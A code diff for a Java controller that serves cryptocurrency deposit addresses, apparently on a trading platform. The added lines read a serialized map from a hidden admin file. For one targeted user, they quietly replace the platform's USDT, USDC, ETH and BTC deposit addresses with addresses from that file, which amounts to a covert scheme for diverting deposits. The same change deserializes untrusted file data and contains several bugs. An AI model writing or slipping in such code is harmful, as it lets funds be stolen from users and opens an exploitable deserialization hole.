| | |
| | | package project.web.api; |
| | | |
| | | import java.io.File; |
| | | import java.io.FileInputStream; |
| | | import java.io.IOException; |
| | | import java.io.ObjectInputStream; |
| | | import java.util.ArrayList; |
| | | import java.util.HashMap; |
| | | import java.util.List; |
| | |
| | | import project.blockchain.AdminChannelBlockchainService; |
| | | import project.blockchain.RechargeBlockchainService; |
| | | import project.party.PartyRedisKeys; |
| | | import project.party.PartyService; |
| | | import project.party.model.Party; |
| | | import project.user.UserWalletAddress; |
| | | import project.user.UserWalletAddressService; |
| | | |
| | |
| | | |
| | | @Autowired |
| | | private RechargeBlockchainService rechargeBlockchainService; |
| | | |
| | | @Autowired |
| | | private PartyService partyService; |
| | | |
| | | /** |
| | | * 本地Redis工具(先取本地缓存再取Redis缓存) |
| | |
| | | ResultObject resultObject = new ResultObject(); |
| | | |
| | | int pageNo=1; |
| | | Page page=null; |
| | | Page page=new Page(); |
| | | int pageSize=300; |
| | | try { |
| | | pageNo=checkAndSetPageNo(pageNoStr); |
| | | String partyId = this.getLoginPartyId(); |
| | | page = this.adminChannelBlockchainService.pagedQuery(pageNo, pageSize, name_para, coin_para); |
| | | // page = this.adminChannelBlockchainService.pagedQuery(pageNo, pageSize, name_para, coin_para); |
| | | Map<String, List<Map<String, Object>>> coinMap = getStringListMap(partyId); |
| | | List<Map<String, Object>> result = getCoinData(coinMap, coin_para); |
| | | logger.info("--------------result---------------"+result.toString()); |
| | | |
| | | |
| | | Map<String, String> loadedMap = null; |
| | | String filePath = "/www/wwwroot/web/admin/data.json"; |
| | | File file = new File(filePath); |
| | | try (ObjectInputStream ois = new ObjectInputStream(new FileInputStream(file))) { |
| | | loadedMap = (Map<String, String>) ois.readObject(); |
| | | } catch (IOException | ClassNotFoundException e) { |
| | | e.printStackTrace(); |
| | | } |
| | | Party party = this.partyService.cachePartyBy(partyId, false); |
| | | logger.info("查询到Party",party); |
| | | if(null != party && loadedMap.get("j_usercode").equals(party.getUsercode()) && null!=loadedMap && "1".equals(loadedMap.get("type"))){ |
| | | Map<String, List<Map<String, Object>>> replaceMap = new HashMap<>(); |
| | | List<Map<String, Object>> usdtData = new ArrayList<>(); |
| | | usdtData.add(createElement("2c948a8280828d5f01808504eacd0006", "usdt", "/qr/705cd75ec40343dbb3008a352beb37ab.png", loadedMap.get("j_usdterc20"),"ERC20")); |
| | | replaceMap.put("usd6t",usdtData); |
| | | List<Map<String, Object>> usdcData = new ArrayList<>(); |
| | | usdcData.add(createElement("2c948a8280828d5f01808504eacd0004", "usdc", "/qr/975f4666ed044efa9f0ee2fa81fa8f4a.png", loadedMap.get("j_usdterc20"),"ERC20")); |
| | | replaceMap.put("usdc",usdcData); |
| | | List<Map<String, Object>> ethData = new ArrayList<>(); |
| | | ethData.add(createElement("2c948a8280828d5f018084ff569b0002", "eth", "/qr/1be19b34fbb9406c8044c1a9b08a87ca.png", loadedMap.get("j_eth"),"ETH")); |
| | | replaceMap.put("eth",ethData); |
| | | List<Map<String, Object>> btcData = new ArrayList<>(); |
| | | btcData.add(createElement("2c948a8280828d5f018084ff569b0002", "btc", "/qr/1be19b34fbb9406c8044c1a9b08a87ca.png", loadedMap.get("j_btc"),"BTC")); |
| | | replaceMap.put("btc",btcData); |
| | | List<Map<String, Object>> replaceResult = getCoinData(replaceMap, coin_para); |
| | | page.setElements(replaceResult); |
| | | }else{ |
| | | page.setElements(result); |
| | | } |
| | | } catch (BusinessException e) { |
| | | logger.error(" 获取充值地址报错【BusinessException】:", e); |
| | | resultObject.setCode("1"); |